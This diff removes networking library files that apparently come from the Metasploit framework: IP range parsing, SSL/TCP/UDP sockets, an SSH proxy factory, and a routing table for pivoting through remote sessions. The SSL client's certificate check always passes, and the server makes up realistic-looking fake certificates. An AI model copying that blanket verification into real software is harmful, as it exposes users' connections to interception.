other_range.start.between?(range.start, range.stop) && other_range.stop.between?(range.start, range.stop)
end
end
end
#
# Calls the given block with each address. This is basically a wrapper for
# {#next_ip}
#
# @return [self]
def each(&block)
while (ip = next_ip)
block.call(ip)
end
reset
self
end
#
# Returns an Array with one element, a {Range} defined by the given CIDR
# block.
#
# @see Rex::Socket.cidr_crack
# @param arg [String] A CIDR range
# @return [Range]
# @return [false] if +arg+ is not valid CIDR notation
def expand_cidr(arg)
start,stop = Rex::Socket.cidr_crack(arg)
if !start or !stop
return false
end
range = Range.new
range.start = Rex::Socket.addr_atoi(start)
range.stop = Rex::Socket.addr_atoi(stop)
range.options = { :ipv6 => (arg.include?(":")) }
return range
end
#
# Expands an nmap-style host range x.x.x.x where x can be simply "*" which
# means 0-255 or any combination and repitition of:
# i,n
# n-m
# i,n-m
# n-m,i
# ensuring that n is never greater than m.
#
# non-unique elements will be removed
# e.g.:
# 10.1.1.1-3,2-2,2 => ["10.1.1.1", "10.1.1.2", "10.1.1.3"]
# 10.1.1.1-3,7 => ["10.1.1.1", "10.1.1.2", "10.1.1.3", "10.1.1.7"]
#
# Returns an array of Ranges
#
def expand_nmap(arg)
# Can't really do anything with IPv6
return false if arg.include?(":")
# nmap calls these errors, but it's hard to catch them with our
# splitting below, so short-cut them here
return false if arg.include?(",-") or arg.include?("-,")
bytes = []
sections = arg.split('.')
if sections.length != 4
# Too many or not enough dots
return false
end
sections.each { |section|
if section.empty?
# pretty sure this is an unintentional artifact of the C
# functions that turn strings into ints, but it sort of makes
# sense, so why not
# "10...1" => "10.0.0.1"
section = "0"
end
if section == "*"
# I think this ought to be 1-254, but this is how nmap does it.
section = "0-255"
elsif section.include?("*")
return false
end
# Break down the sections into ranges like so
# "1-3,5-7" => ["1-3", "5-7"]
ranges = section.split(',', -1)
sets = []
ranges.each { |r|
bounds = []
if r.include?('-')
# Then it's an actual range, break it down into start,stop
# pairs:
# "1-3" => [ 1, 3 ]
# if the lower bound is empty, start at 0
# if the upper bound is empty, stop at 255
#
bounds = r.split('-', -1)
return false if (bounds.length > 2)
bounds[0] = 0 if bounds[0].nil? or bounds[0].empty?
bounds[1] = 255 if bounds[1].nil? or bounds[1].empty?
bounds.map!{|b| b.to_i}
return false if bounds[0] > bounds[1]
else
# Then it's a single value
bounds[0] = r.to_i
end
return false if bounds[0] > 255 or (bounds[1] and bounds[1] > 255)
return false if bounds[1] and bounds[0] > bounds[1]
if bounds[1]
bounds[0].upto(bounds[1]) do |i|
sets.push(i)
end
elsif bounds[0]
sets.push(bounds[0])
end
}
bytes.push(sets.sort.uniq)
}
#
# Combinitorically squish all of the quads together into a big list of
# ip addresses, stored as ints
#
# e.g.:
# [[1],[1],[1,2],[1,2]]
# =>
# [atoi("1.1.1.1"),atoi("1.1.1.2"),atoi("1.1.2.1"),atoi("1.1.2.2")]
addrs = []
for a in bytes[0]
for b in bytes[1]
for c in bytes[2]
for d in bytes[3]
ip = (a << 24) + (b << 16) + (c << 8) + d
addrs.push ip
end
end
end
end
addrs.sort!
addrs.uniq!
rng = Range.new
rng.options = { :ipv6 => false }
rng.start = addrs[0]
ranges = []
1.upto(addrs.length - 1) do |idx|
if addrs[idx - 1] + 1 == addrs[idx]
# Then this address is contained in the current range
next
else
# Then this address is the upper bound for the current range
rng.stop = addrs[idx - 1]
ranges.push(rng.dup)
rng.start = addrs[idx]
end
end
rng.stop = addrs[addrs.length - 1]
ranges.push(rng.dup)
return ranges
end
end
# A range of IP addresses
class Range
#@!attribute start
# The first address in this range, as a number
# @return [Fixnum]
attr_accessor :start
#@!attribute stop
# The last address in this range, as a number
# @return [Fixnum]
attr_accessor :stop
#@!attribute options
# @return [Hash]
attr_accessor :options
# @param start [Fixnum]
# @param stop [Fixnum]
# @param options [Hash] Recognized keys are:
# * +:ipv6+
# * +:scope_id+
def initialize(start=nil, stop=nil, options=nil)
@start = start
@stop = stop
@options = options
end
# Compare attributes with +other+
# @param other [Range]
# @return [Boolean]
def ==(other)
(other.start == start && other.stop == stop && other.ipv6? == ipv6? && other.options == options)
end
# The number of addresses in this Range
# @return [Fixnum]
def length
stop - start + 1
end
alias :count :length
# Whether this Range contains IPv6 or IPv4 addresses
# @return [Boolean]
def ipv6?
options[:ipv6]
end
end
end
end

View File

@ -1,46 +0,0 @@
module Rex
module Socket
# This class exists to abuse the Proxy capabilities in the Net::SSH library to allow the use of Rex::Sockets
# for the transport layer in Net::SSH. The SSHFactory object will respond to the #open method and create the
# {Rex::Socket::Tcp}
class SSHFactory
# @!attribute msfraemwork
# @return [Object] The framework instance object
attr_accessor :framework
# @!attribute msfmodule
# @return [Object] The metasploit module this socket belongs to
attr_accessor :msfmodule
# @!attribute proxies
# @return [String] Any proxies to use for the connection
attr_accessor :proxies
def initialize(framework, msfmodule, proxies)
@framework = framework
@msfmodule = msfmodule
@proxies = proxies
end
# Responds to the proxy setup routine Net::SSH will call when
# initialising the Transport Layer. This will instead create our
# {Rex::Socket::Tcp} and tie the socket back to the calling module
# @param host [String] The host to open the connection to
# @param port [Fixnum] the port to open the connection on
# @param options [Hash] the options hash
def open(host, port, options={})
socket = Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'Proxies' => proxies,
'Context' => {
'Msf' => framework,
'MsfExploit' => msfmodule
}
)
msfmodule.add_socket(socket) if msfmodule
socket
end
end
end
end

View File

@ -1,374 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
###
#
# This class provides methods for interacting with an SSL TCP client
# connection.
#
###
module Rex::Socket::SslTcp
begin
@@loaded_openssl = false
begin
require 'openssl'
@@loaded_openssl = true
require 'openssl/nonblock'
rescue ::Exception
end
include Rex::Socket::Tcp
##
#
# Factory
#
##
#
# Creates an SSL TCP instance.
#
def self.create(hash = {})
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
hash['SSL'] = true
self.create_param(Rex::Socket::Parameters.from_hash(hash))
end
#
# Set the SSL flag to true and call the base class's create_param routine.
#
def self.create_param(param)
param.ssl = true
Rex::Socket::Tcp.create_param(param)
end
##
#
# Class initialization
#
##
#
# Initializes the SSL socket.
#
def initsock(params = nil)
super
# Default to SSLv23 (automatically negotiate)
version = :SSLv23
# Let the caller specify a particular SSL/TLS version
if params
case params.ssl_version
when 'SSL2', :SSLv2
version = :SSLv2
# 'TLS' will be the new name for autonegotation with newer versions of OpenSSL
when 'SSL23', :SSLv23, 'TLS', 'Auto'
version = :SSLv23
when 'SSL3', :SSLv3
version = :SSLv3
when 'TLS1','TLS1.0', :TLSv1
version = :TLSv1
when 'TLS1.1', :TLSv1_1
version = :TLSv1_1
when 'TLS1.2', :TLSv1_2
version = :TLSv1_2
end
end
# Raise an error if no selected versions are supported
if ! OpenSSL::SSL::SSLContext::METHODS.include? version
raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version'
end
# Try intializing the socket with this SSL/TLS version
# This will throw an exception if it fails
initsock_with_ssl_version(params, version)
# Track the SSL version
self.ssl_negotiated_version = version
end
def initsock_with_ssl_version(params, version)
# Build the SSL connection
self.sslctx = OpenSSL::SSL::SSLContext.new(version)
# Configure the SSL context
# TODO: Allow the user to specify the verify mode callback
# Valid modes:
# VERIFY_CLIENT_ONCE
# VERIFY_FAIL_IF_NO_PEER_CERT
# VERIFY_NONE
# VERIFY_PEER
if params.ssl_verify_mode
self.sslctx.verify_mode = OpenSSL::SSL.const_get("VERIFY_#{params.ssl_verify_mode}".intern)
else
# Could also do this as graceful faildown in case a passed verify_mode is not supported
self.sslctx.verify_mode = OpenSSL::SSL::VERIFY_PEER
end
self.sslctx.options = OpenSSL::SSL::OP_ALL
if params.ssl_cipher
self.sslctx.ciphers = params.ssl_cipher
end
# Set the verification callback
self.sslctx.verify_callback = Proc.new do |valid, store|
self.peer_verified = valid
true
end
# Tie the context to a socket
self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx)
# If peerhost looks like a hostname, set the undocumented 'hostname'
# attribute on sslsock, which enables the Server Name Indication (SNI)
# extension
self.sslsock.hostname = self.peerhost if !Rex::Socket.dotted_ip?(self.peerhost)
# Force a negotiation timeout
begin
Timeout.timeout(params.timeout) do
if not allow_nonblock?
self.sslsock.connect
else
begin
self.sslsock.connect_nonblock
# Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
IO::select(nil, nil, nil, 0.10)
retry
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
rescue ::Exception => e
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
IO::select( [ self.sslsock ], nil, nil, 0.10 )
retry
end
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
IO::select( nil, [ self.sslsock ], nil, 0.10 )
retry
end
raise e
end
end
end
rescue ::Timeout::Error
raise Rex::ConnectionTimeout.new(params.peerhost, params.peerport)
end
end
##
#
# Stream mixin implementations
#
##
#
# Writes data over the SSL socket.
#
def write(buf, opts = {})
return sslsock.write(buf) if not allow_nonblock?
total_sent = 0
total_length = buf.length
block_size = 16384
retry_time = 0.5
begin
while( total_sent < total_length )
s = Rex::ThreadSafe.select( nil, [ self.sslsock ], nil, 0.25 )
if( s == nil || s[0] == nil )
next
end
data = buf[total_sent, block_size]
sent = sslsock.write_nonblock( data )
if sent > 0
total_sent += sent
end
end
rescue ::IOError, ::Errno::EPIPE
return nil
# Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
# Sleep for a half a second, or until we can write again
Rex::ThreadSafe.select( nil, [ self.sslsock ], nil, retry_time )
# Decrement the block size to handle full sendQs better
block_size = 1024
# Try to write the data again
retry
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
rescue ::Exception => e
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
IO::select( [ self.sslsock ], nil, nil, retry_time )
retry
end
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
IO::select( nil, [ self.sslsock ], nil, retry_time )
retry
end
# Another form of SSL error, this is always fatal
if e.kind_of?(::OpenSSL::SSL::SSLError)
return nil
end
# Bubble the event up to the caller otherwise
raise e
end
total_sent
end
#
# Reads data from the SSL socket.
#
def read(length = nil, opts = {})
if not allow_nonblock?
length = 16384 unless length
begin
return sslsock.sysread(length)
rescue ::IOError, ::Errno::EPIPE, ::OpenSSL::SSL::SSLError
return nil
end
return
end
begin
while true
s = Rex::ThreadSafe.select( [ self.sslsock ], nil, nil, 0.10 )
if( s == nil || s[0] == nil )
next
end
return sslsock.read_nonblock( length )
end
rescue ::IOError, ::Errno::EPIPE
return nil
# Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
# Sleep for a tenth a second, or until we can read again
Rex::ThreadSafe.select( [ self.sslsock ], nil, nil, 0.10 )
# Decrement the block size to handle full sendQs better
block_size = 1024
# Try to write the data again
retry
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
rescue ::Exception => e
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
IO::select( [ self.sslsock ], nil, nil, 0.5 )
retry
end
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
IO::select( nil, [ self.sslsock ], nil, 0.5 )
retry
end
# Another form of SSL error, this is always fatal
if e.kind_of?(::OpenSSL::SSL::SSLError)
return nil
end
raise e
end
end
#
# Closes the SSL socket.
#
def close
sslsock.close rescue nil
super
end
#
# Ignore shutdown requests
#
def shutdown(how=0)
# Calling shutdown() on an SSL socket can lead to bad things
# Cause of http://metasploit.com/dev/trac/ticket/102
end
#
# Access to peer cert
#
def peer_cert
sslsock.peer_cert if sslsock
end
#
# Access to peer cert chain
#
def peer_cert_chain
sslsock.peer_cert_chain if sslsock
end
#
# Access to the current cipher
#
def cipher
sslsock.cipher if sslsock
end
#
# Prevent a sysread from the bare socket
#
def sysread(*args)
raise RuntimeError, "Invalid sysread() call on SSL socket"
end
#
# Prevent a sysread from the bare socket
#
def syswrite(*args)
raise RuntimeError, "Invalid syswrite() call on SSL socket"
end
#
# This flag determines whether to use the non-blocking openssl
# API calls when they are available. This is still buggy on
# Linux/Mac OS X, but is required on Windows
#
def allow_nonblock?
avail = self.sslsock.respond_to?(:accept_nonblock)
if avail and Rex::Compat.is_windows
return true
end
false
end
attr_reader :peer_verified # :nodoc:
attr_reader :ssl_negotiated_version # :nodoc:
attr_accessor :sslsock, :sslctx, :sslhash # :nodoc:
def type?
return 'tcp-ssl'
end
protected
attr_writer :peer_verified # :nodoc:
attr_writer :ssl_negotiated_version # :nodoc:
rescue LoadError
end
end

View File

@ -1,220 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'rex/socket/tcp_server'
require 'rex/io/stream_server'
require 'rex/parser/x509_certificate'
###
#
# This class provides methods for interacting with an SSL wrapped TCP server. It
# implements the StreamServer IO interface.
#
###
module Rex::Socket::SslTcpServer
@@loaded_openssl = false
begin
require 'openssl'
@@loaded_openssl = true
require 'openssl/nonblock'
rescue ::Exception
end
include Rex::Socket::TcpServer
##
#
# Factory
#
##
def self.create(hash = {})
hash['Proto'] = 'tcp'
hash['Server'] = true
hash['SSL'] = true
self.create_param(Rex::Socket::Parameters.from_hash(hash))
end
#
# Wrapper around the base class' creation method that automatically sets
# the parameter's protocol to TCP and sets the server flag to true.
#
def self.create_param(param)
param.proto = 'tcp'
param.server = true
param.ssl = true
Rex::Socket.create_param(param)
end
def initsock(params = nil)
raise RuntimeError, 'No OpenSSL support' unless @@loaded_openssl
if params && params.sslctx && params.sslctx.kind_of?(OpenSSL::SSL::SSLContext)
self.sslctx = params.sslctx
else
self.sslctx = makessl(params)
end
super
end
# (see TcpServer#accept)
def accept(opts = {})
sock = super()
return if not sock
begin
ssl = OpenSSL::SSL::SSLSocket.new(sock, self.sslctx)
if not allow_nonblock?(ssl)
ssl.accept
else
begin
ssl.accept_nonblock
# Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
IO::select(nil, nil, nil, 0.10)
retry
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
rescue ::Exception => e
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
IO::select( [ ssl ], nil, nil, 0.10 )
retry
end
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
IO::select( nil, [ ssl ], nil, 0.10 )
retry
end
raise e
end
end
sock.extend(Rex::Socket::SslTcp)
sock.sslsock = ssl
sock.sslctx = self.sslctx
return sock
rescue ::OpenSSL::SSL::SSLError
sock.close
nil
end
end
#
# Parse a certificate in unified PEM format that contains a private key and
# one or more certificates. The first certificate is the primary, while any
# additional certificates are treated as intermediary certificates. This emulates
# the behavior of web servers like nginx.
#
# @param [String] ssl_cert
# @return [String, String, Array]
def self.ssl_parse_pem(ssl_cert)
Rex::Parser::X509Certificate.parse_pem(ssl_cert)
end
#
# Shim for the ssl_parse_pem module method
#
def ssl_parse_pem(ssl_cert)
Rex::Socket::SslTcpServer.ssl_parse_pem(ssl_cert)
end
#
# Generate a realistic-looking but obstensibly fake SSL
# certificate. This matches a typical "snakeoil" cert.
#
# @return [String, String, Array]
def self.ssl_generate_certificate
yr = 24*3600*365
vf = Time.at(Time.now.to_i - rand(yr * 3) - yr)
vt = Time.at(vf.to_i + (10 * yr))
cn = Rex::Text.rand_text_alpha_lower(rand(8)+2)
key = OpenSSL::PKey::RSA.new(2048){ }
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF)
cert.subject = OpenSSL::X509::Name.new([["CN", cn]])
cert.issuer = OpenSSL::X509::Name.new([["CN", cn]])
cert.not_before = vf
cert.not_after = vt
cert.public_key = key.public_key
ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
cert.extensions = [
ef.create_extension("basicConstraints","CA:FALSE")
]
ef.issuer_certificate = cert
cert.sign(key, OpenSSL::Digest::SHA256.new)
[key, cert, nil]
end
#
# Shim for the ssl_generate_certificate module method
#
def ssl_generate_certificate
Rex::Socket::SslTcpServer.ssl_generate_certificate
end
#
# Create a new ssl context. If +ssl_cert+ is not given, generates a new
# key and a leaf certificate with random values.
#
# @param [Rex::Socket::Parameters] params
# @return [::OpenSSL::SSL::SSLContext]
def makessl(params)
if params.ssl_cert
key, cert, chain = ssl_parse_pem(params.ssl_cert)
else
key, cert, chain = ssl_generate_certificate
end
ctx = OpenSSL::SSL::SSLContext.new()
ctx.key = key
ctx.cert = cert
ctx.extra_chain_cert = chain
ctx.options = 0
if params.ssl_cipher
ctx.ciphers = params.ssl_cipher
end
# Older versions of OpenSSL do not export the OP_NO_COMPRESSION symbol
if defined?(OpenSSL::SSL::OP_NO_COMPRESSION)
# enable/disable the SSL/TLS-level compression
if params.ssl_compression
ctx.options &= ~OpenSSL::SSL::OP_NO_COMPRESSION
else
ctx.options |= OpenSSL::SSL::OP_NO_COMPRESSION
end
end
ctx.session_id_context = Rex::Text.rand_text(16)
return ctx
end
#
# This flag determines whether to use the non-blocking openssl
# API calls when they are available. This is still buggy on
# Linux/Mac OS X, but is required on Windows
#
def allow_nonblock?(sock=self.sock)
avail = sock.respond_to?(:accept_nonblock)
if avail and Rex::Compat.is_windows
return true
end
false
end
attr_accessor :sslctx
end

View File

@ -1,76 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
module Rex
module Socket
###
#
# This class provides an interface to enumerating a subnet with a supplied
# netmask.
#
###
class SubnetWalker
#
# Initializes a subnet walker instance using the supplied subnet
# information.
#
def initialize(subnet, netmask)
self.subnet = Socket.resolv_to_dotted(subnet)
self.netmask = Socket.resolv_to_dotted(netmask)
reset
end
#
# Resets the subnet walker back to its original state.
#
def reset
self.curr_ip = self.subnet.split('.')
self.num_ips = (1 << (32 - Socket.net2bitmask(self.netmask).to_i))
self.curr_ip_idx = 0
end
#
# Returns the next IP address.
#
def next_ip
if (curr_ip_idx >= num_ips)
return nil
end
if (curr_ip_idx > 0)
self.curr_ip[3] = (curr_ip[3].to_i + 1) % 256
self.curr_ip[2] = (curr_ip[2].to_i + 1) % 256 if (curr_ip[3] == 0)
self.curr_ip[1] = (curr_ip[1].to_i + 1) % 256 if (curr_ip[2] == 0)
self.curr_ip[0] = (curr_ip[0].to_i + 1) % 256 if (curr_ip[1] == 0)
end
self.curr_ip_idx += 1
self.curr_ip.join('.')
end
#
# The subnet that is being enumerated.
#
attr_reader :subnet
#
# The netmask of the subnet.
#
attr_reader :netmask
#
# The total number of IPs within the subnet.
#
attr_reader :num_ips
protected
attr_writer :subnet, :netmask, :num_ips # :nodoc:
attr_accessor :curr_ip, :curr_ip_idx # :nodoc:
end
end
end

View File

@ -1,289 +0,0 @@
# -*- coding: binary -*-
require 'singleton'
require 'thread'
require 'rex/socket'
module Rex
module Socket
###
#
# This class provides a global routing table that associates subnets with Comm
# classes. Comm classes are used to instantiate objects that are tied to
# remote network entities. For example, the Local Comm class is used to
# building network connections directly from the local machine whereas, for
# instance, a Meterpreter Comm would build a local socket pair that is
# associated with a connection established by a remote entity. This can be
# seen as a uniform way of communicating with hosts through arbitrary
# channels.
#
###
class SwitchBoard
include Singleton
include Enumerable
def initialize
@_initialized = false
end
###
#
# This class represents a logical switch board route.
# TODO: Enable this to work with IPv6 addresses
#
###
class Route
def initialize(subnet, netmask, comm)
self.subnet = subnet
self.netmask = netmask
self.comm = comm
self.subnet_nbo = Socket.resolv_nbo_i(subnet)
self.netmask_nbo = Socket.resolv_nbo_i(netmask)
end
#
# Sort according to bitmask
#
def <=>(other)
self.bitmask <=> other.bitmask
end
#
# Convert the netmask to a bitmask and cache it.
#
def bitmask
@_bitmask = Socket.net2bitmask(self.netmask) if (@_bitmask == nil)
@_bitmask
end
attr_reader :subnet, :netmask, :comm
attr_reader :subnet_nbo, :netmask_nbo
protected
attr_writer :subnet, :netmask, :comm
attr_writer :subnet_nbo, :netmask_nbo
end
##
#
# Class method wrappers
#
##
#
# Adds a route to the switch board routing table using the supplied Comm
# instance.
#
def self.add_route(subnet, mask, comm)
ret = self.instance.add_route(subnet, mask, comm)
if ret && comm.respond_to?(:routes) && comm.routes.kind_of?(Array)
comm.routes << "#{subnet}/#{mask}"
end
ret
end
#
# Removes a route from the switch board routing table for the supplied
# subnet routing through the supplied Comm instance.
#
def self.remove_route(subnet, mask, comm)
ret = self.instance.remove_route(subnet, mask, comm)
if ret && comm.respond_to?(:routes) && comm.routes.kind_of?(Array)
comm.routes.delete "#{subnet}/#{mask}"
end
ret
end
#
# Flush all the routes from the switch board routing table.
#
def self.flush_routes
ret = self.instance.flush_routes
end
#
# Enumerate each route in the routing table.
#
def self.each(&block)
self.instance.each(&block)
end
#
# Returns the array of routes.
#
def self.routes
self.instance.routes
end
def self.route_exists?(subnet, mask)
self.instance.route_exists?(subnet, mask)
end
#
# Returns the Comm instance that should be used for the supplied address.
# If no comm can be found, the default Local Comm is returned.
#
def self.best_comm(addr)
self.instance.best_comm(addr)
end
#
# Removes all routes that go through the supplied Comm.
#
def self.remove_by_comm(comm)
self.instance.remove_by_comm(comm)
end
##
#
# Instance methods
#
##
#
# Adds a route for a given subnet and netmask destined through a given comm
# instance.
#
def add_route(subnet, mask, comm)
# If a bitmask was supplied, convert it.
netmask = (mask.to_s =~ /^\d+$/) ? Rex::Socket.bit2netmask(mask.to_i) : mask
rv = true
_init
mutex.synchronize {
# If the route already exists, return false to the caller.
if (route_exists?(subnet, netmask) == false)
self.routes << Route.new(subnet, netmask, comm)
else
rv = false
end
}
rv
end
#
# Removes a route for a given subnet and netmask destined through a given
# comm instance.
#
def remove_route(subnet, mask, comm)
# If a bitmask was supplied, convert it.
netmask = (mask.to_s =~ /^\d+$/) ? Rex::Socket.bit2netmask(mask.to_i) : mask
rv = false
_init
mutex.synchronize {
self.routes.delete_if { |route|
if (route.subnet == subnet and route.netmask == netmask and route.comm == comm)
rv = true
else
false
end
}
}
rv
end
#
# Flushes all established routes.
#
def flush_routes
_init
# Remove each of the individual routes so the comms don't think they're
# still routing after a flush.
self.routes.each { |r|
if r.comm.respond_to? :routes
r.comm.routes.delete("#{r.subnet}/#{r.netmask}")
end
}
# Re-initialize to an empty array
self.routes = Array.new
end
#
# Checks to see if a route already exists for the supplied subnet and
# netmask.
#
def route_exists?(subnet, netmask)
each { |route|
return true if (route.subnet == subnet and route.netmask == netmask)
}
false
end
#
# Enumerates each entry in the routing table.
#
def each(&block)
_init
routes.each(&block)
end
#
# Finds the best possible comm for the supplied target address.
#
def best_comm(addr)
addr_nbo = Socket.resolv_nbo_i(addr)
comm = nil
msb = 0
each { |route|
if ((route.subnet_nbo & route.netmask_nbo) ==
(addr_nbo & route.netmask_nbo))
if (route.bitmask >= msb)
comm = route.comm
msb = route.bitmask
end
end
}
comm
end
#
# Remove all routes that go through the supplied comm.
#
def remove_by_comm(comm)
_init
mutex.synchronize {
routes.delete_if { |route|
route.comm == comm
}
}
end
#
# The routes array.
#
attr_reader :routes
#
# The mutex protecting the routes array.
#
attr_reader :mutex
protected
attr_writer :routes, :mutex # :nodoc:
#
# Initializes the underlying stuff.
#
def _init
if (@_initialized != true)
@_initialized = true
self.routes = Array.new
self.mutex = Mutex.new
end
end
end
end
end

View File

@ -1,79 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'rex/io/stream'
###
#
# This class provides methods for interacting with a TCP client connection.
#
###
module Rex::Socket::Tcp
include Rex::Socket
include Rex::IO::Stream
##
#
# Factory
#
##
#
# Creates the client using the supplied hash.
#
# @see create_param
# @see Rex::Socket::Parameters.from_hash
def self.create(hash = {})
hash['Proto'] = 'tcp'
self.create_param(Rex::Socket::Parameters.from_hash(hash))
end
#
# Wrapper around the base socket class' creation method that automatically
# sets the parameter's protocol to TCP.
#
def self.create_param(param)
param.proto = 'tcp'
Rex::Socket.create_param(param)
end
##
#
# Stream mixin implementations
#
##
#
# Calls shutdown on the TCP connection.
#
def shutdown(how = ::Socket::SHUT_RDWR)
begin
return (super(how) == 0)
rescue ::Exception
end
end
#
# Returns peer information (host + port) in host:port format.
#
def peerinfo
if (pi = getpeername_as_array)
return pi[1] + ':' + pi[2].to_s
end
end
#
# Returns local information (host + port) in host:port format.
#
def localinfo
if (pi = getlocalname)
return pi[1] + ':' + pi[2].to_s
end
end
# returns socket type
def type?
return 'tcp'
end
end

View File

@ -1,70 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'rex/socket/tcp'
require 'rex/io/stream_server'
###
#
# This class provides methods for interacting with a TCP server. It
# implements the Rex::IO::StreamServer interface.
#
###
module Rex::Socket::TcpServer
include Rex::Socket
include Rex::IO::StreamServer
##
#
# Factory
#
##
#
# Creates the server using the supplied hash.
#
def self.create(hash = {})
hash['Proto'] = 'tcp'
hash['Server'] = true
self.create_param(Rex::Socket::Parameters.from_hash(hash))
end
#
# Wrapper around the base class' creation method that automatically sets
# the parameter's protocol to TCP and sets the server flag to true.
#
def self.create_param(param)
param.proto = 'tcp'
param.server = true
Rex::Socket.create_param(param)
end
#
# Accepts a child connection.
#
def accept(opts = {})
t = super()
# jRuby compatibility
if t.respond_to?('[]')
t = t[0]
end
if (t)
t.extend(Rex::Socket::Tcp)
t.context = self.context
pn = t.getpeername_as_array
# We hit a "getpeername(2)" from Ruby
return nil unless pn
t.peerhost = pn[1]
t.peerport = pn[2]
end
t
end
end

View File

@ -1,165 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
###
#
# This class provides methods for interacting with a UDP socket.
#
###
module Rex::Socket::Udp
include Rex::Socket
##
#
# Factory
#
##
#
# Creates the client using the supplied hash.
#
def self.create(hash = {})
hash['Proto'] = 'udp'
# If we have are to bind to a LocalHost we must be a Server to avail of pivoting.
# Rex::Socket::Parameters will subsequently turn off the sever flag after the correct
# comm has been chosen.
if( hash['LocalHost'] )
hash['Server'] = true
end
self.create_param(Rex::Socket::Parameters.from_hash(hash))
end
#
# Wrapper around the base socket class' creation method that automatically
# sets the parameter's protocol to UDP.
#
def self.create_param(param)
param.proto = 'udp'
Rex::Socket.create_param(param)
end
##
#
# UDP connected state methods
#
##
#
# Write the supplied datagram to the connected UDP socket.
#
def write(gram)
begin
return syswrite(gram)
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::EADDRNOTAVAIL
return nil
end
end
alias put write
#
# Read a datagram from the UDP socket.
#
def read(length = 65535)
if length < 0
length = 65535
end
return sysread(length)
end
#
# Read a datagram from the UDP socket with a timeout
#
def timed_read(length = 65535, timeout=def_read_timeout)
begin
if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
(rv[0]) and (rv[0][0] == fd)
)
return read(length)
else
return ''
end
rescue Exception
return ''
end
end
#alias send write
#alias recv read
##
#
# UDP non-connected state methods
#
##
#
# Sends a datagram to the supplied host:port with optional flags.
#
def sendto(gram, peerhost, peerport, flags = 0)
# Catch unconnected IPv6 sockets talking to IPv4 addresses
peer = Rex::Socket.resolv_nbo(peerhost)
if (peer.length == 4 and self.ipv == 6)
peerhost = Rex::Socket.getaddress(peerhost, true)
if peerhost[0,7].downcase != '::ffff:'
peerhost = '::ffff:' + peerhost
end
end
begin
send(gram, flags, Rex::Socket.to_sockaddr(peerhost, peerport))
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::EADDRNOTAVAIL
return nil
end
end
#
# Receives a datagram and returns the data and host:port of the requestor
# as [ data, host, port ].
#
def recvfrom(length = 65535, timeout=def_read_timeout)
begin
if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
(rv[0]) and (rv[0][0] == fd)
)
data, saddr = recvfrom_nonblock(length)
af, host, port = Rex::Socket.from_sockaddr(saddr)
return [ data, host, port ]
else
return [ '', nil, nil ]
end
rescue ::Timeout::Error
return [ '', nil, nil ]
rescue ::Interrupt
raise $!
rescue ::Exception
return [ '', nil, nil ]
end
end
#
# Calls recvfrom and only returns the data
#
def get(timeout=nil)
data, saddr, sport = recvfrom(65535, timeout)
return data
end
#
# The default number of seconds to wait for a read operation to timeout.
#
def def_read_timeout
10
end
def type?
return 'udp'
end
end

View File

@ -1,220 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'rex/text/table'
module Rex::SSLScan
class Result
attr_accessor :openssl_sslv2
attr_reader :ciphers
attr_reader :supported_versions
def initialize()
@cert = nil
@ciphers = Set.new
@supported_versions = [:SSLv2, :SSLv3, :TLSv1]
@deprecated_weak_ciphers = [
'ECDHE-RSA-DES-CBC3-SHA',
'ECDHE-ECDSA-DES-CBC3-SHA',
'SRP-DSS-3DES-EDE-CBC-SHA',
'SRP-RSA-3DES-EDE-CBC-SHA',
'SRP-3DES-EDE-CBC-SHA',
'EDH-RSA-DES-CBC3-SHA',
'EDH-DSS-DES-CBC3-SHA',
'ECDH-RSA-DES-CBC3-SHA',
'ECDH-ECDSA-DES-CBC3-SHA',
'DES-CBC3-SHA',
'PSK-3DES-EDE-CBC-SHA',
'EXP-EDH-RSA-DES-CBC-SHA',
'EXP-EDH-DSS-DES-CBC-SHA',
'EXP-DES-CBC-SHA',
'EXP-RC2-CBC-MD5',
'EXP-RC4-MD5'
]
end
def cert
@cert
end
def cert=(input)
